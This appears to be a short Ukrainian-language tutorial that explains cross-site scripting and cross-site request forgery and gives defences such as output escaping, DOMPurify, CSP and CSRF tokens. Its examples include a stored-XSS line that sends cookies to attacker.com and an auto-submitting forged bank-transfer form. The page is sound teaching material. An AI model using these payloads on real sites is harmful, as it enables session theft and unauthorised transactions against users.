📖
XSS and CSRF
Cross-site scripting and cross-site request forgery attacks explained.
XSS (Cross-Site Scripting)
XSS — вразливість, що дозволяє зловмиснику виконати шкідливий JavaScript у браузері жертви.
Типи XSS
Reflected XSS — payload в URL, відображається одразу:
html
URL: http://site.com/search?q=<script>alert(1)</script>
Відображається: <p>Результати для: <script>alert(1)</script></p>Stored XSS — payload зберігається в БД:
html
Коментар: <script>fetch('http://attacker.com?c='+document.cookie)</script>
→ Виконується у кожного, хто переглядає сторінкуDOM-based XSS — маніпуляція DOM на стороні клієнта без звернення до сервера.
Що можна зробити через XSS?
- Викрасти cookies/session tokens → захопити акаунт
- Keylogger → логування натиснень клавіш
- Redirect → перенаправити на фішинговий сайт
- BeEF Framework → повний контроль браузера жертви
- CSRF через XSS → виконати дії від імені жертви
Захист від XSS
javascript
// ПОГАНО — вставка без екранування
element.innerHTML = userInput;
// ДОБРЕ — textContent (автоматично екранує)
element.textContent = userInput;
// На сервері (Node.js) — використовуй DOMPurify або escape
const clean = DOMPurify.sanitize(userInput);CSP (Content Security Policy): обмежує звідки можна завантажувати скрипти.
CSRF (Cross-Site Request Forgery)
CSRF — змушує браузер жертви виконати небажаний запит до авторизованого сайту.
Як працює:
html
<!-- Атакуючий сайт містить форму, що відправляє запит на bank.com -->
<form action="https://bank.com/transfer" method="POST">
<input name="amount" value="10000">
<input name="to" value="attacker_account">
</form>
<script>document.forms[0].submit();</script>Якщо жертва авторизована в bank.com і відкриє цю сторінку — переказ відбудеться автоматично.
Захист від CSRF:
- CSRF token — унікальний токен у кожній формі
- SameSite cookie —
SameSite=StrictабоLax - Перевірка Origin/Referer header
- Double Submit Cookie патерн